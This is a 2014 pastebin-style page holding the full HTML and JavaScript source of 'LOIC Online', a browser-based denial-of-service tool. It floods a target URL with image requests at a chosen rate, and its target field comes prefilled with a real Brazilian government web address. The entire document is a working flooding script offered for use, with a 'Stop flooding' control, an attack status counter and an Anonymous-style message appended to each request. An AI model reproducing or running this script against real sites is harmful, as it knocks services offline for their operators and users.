DDoS - LOIC Online Script


SUBMITTED BY: Guest

DATE: Jan. 3, 2014, 3:07 a.m.

FORMAT: HTML

SIZE: 6.3 kB

HITS: 883

  1. <html>
  2. <head>
  3. <title>LOIC'Online v0.1</title>
  4. <!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
  5. </head>
  6. <center><h1>LOIC Online Anonymous'Edition</h1></center>
  7. <body style="background-color:black; color:#FFFFFF;">
  8. <div style="position:absolute; width:100%; height:100%;">
  9. <div style="width:490px; height:326px; position:absolute;">
  10. <img alt="LOIC"src="http://www.calgarc.com/images/loop.png" />
  11. </div>
  12. <div style="width:240px; height:100px; position:absolute;left:500px;">
  13. <fieldset style="width:100%; height:100%;">
  14. <legend>Step 1. Select your target:</legend>
  15. <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.granderecife.pe.gov.br/principal.asp" /></label> <!-- disabled="true" -->
  16. <small>Ex : http://fbi.gov</small>
  17. </fieldset>
  18. </div>
  19. <div style="width:240px; height:100px; position:absolute; left:780px;">
  20. <fieldset style="width:100%; height:100%;">
  21. <legend>Step 2. Ready?</legend>
  22. <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  23. </fieldset>
  24. </div>
  25. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  26. <fieldset style="width:100%; height:100%;">
  27. <legend>Optional. Options</legend>
  28. <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
  29. <label>Append message : <br /><input style="width:100%;" id="message" value="We Are Legion" /></label>
  30. </fieldset>
  31. </div>
  32. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  33. <fieldset style="width:100%; height:100%;">
  34. <legend>Attack status:</legend>
  35. <dl>
  36. <dt>Requested:</dt>
  37. <dd id="requestedCtr">0</dd>
  38. <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  39. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  40. <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  41. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  42. </dl>
  43. </fieldset>
  44. </div>
  45. </div>
  46. <script>
  47. (function () {
  48. var fireInterval;
  49. var isFiring = false;
  50. var requestedCtrNode = document.getElementById("requestedCtr"),
  51. succeededCtrNode = document.getElementById("succeededCtr"),
  52. failedCtrNode = document.getElementById("failedCtr"),
  53. targetURLNode = document.getElementById("targetURL"),
  54. fireButton = document.getElementById("fireButton"),
  55. messageNode = document.getElementById("message"),
  56. rpsNode = document.getElementById("rps"),
  57. timeoutNode = document.getElementById("timeout");
  58. var targetURL = targetURLNode.value;
  59. targetURLNode.onchange = function () {
  60. targetURL = this.value;
  61. };
  62. var requestsHT = {}; // requests hash table, may come in handy later
  63. var requestedCtr = 0,
  64. succeededCtr = 0,
  65. failedCtr = 0;
  66. var makeHttpRequest = function () {
  67. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  68. return;
  69. };
  70. var rID =Number(new Date());
  71. var img = new Image();
  72. img.onerror = function () { onFail(rID); };
  73. img.onabort = function () { onFail(rID); };
  74. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  75. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  76. requestsHT[rID] = img;
  77. onRequest(rID);
  78. };
  79. var onRequest = function (rID) {
  80. requestedCtr++;
  81. requestedCtrNode.innerHTML = requestedCtr;
  82. };
  83. var onComplete = function (rID) {
  84. delete requestsHT[rID];
  85. };
  86. var onFail = function (rID) {
  87. // failedCtr++;
  88. //failedCtrNode.innerHTML = failedCtr;
  89. succeededCtr++; //Seems like the url will always fail it it isn't an image
  90. succeededCtrNode.innerHTML = succeededCtr;
  91. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  92. };
  93. var onSuccess = function (rID) {
  94. succeededCtr++;
  95. succeededCtrNode.innerHTML = succeededCtr;
  96. delete requestsHT[rID];
  97. };
  98. fireButton.onclick = function () {
  99. if (isFiring) {
  100. clearInterval(fireInterval);
  101. isFiring = false;
  102. this.innerHTML = "START";
  103. } else {
  104. isFiring = true;
  105. this.innerHTML = "Stop flooding";
  106. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  107. }
  108. };
  109. })();
  110. isFiring = true;
  111. document.getElementById("fireButton").innerHTML = "Stop flooding";
  112. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  113. </script>
  114. </body>
  115. </html>

comments powered by Disqus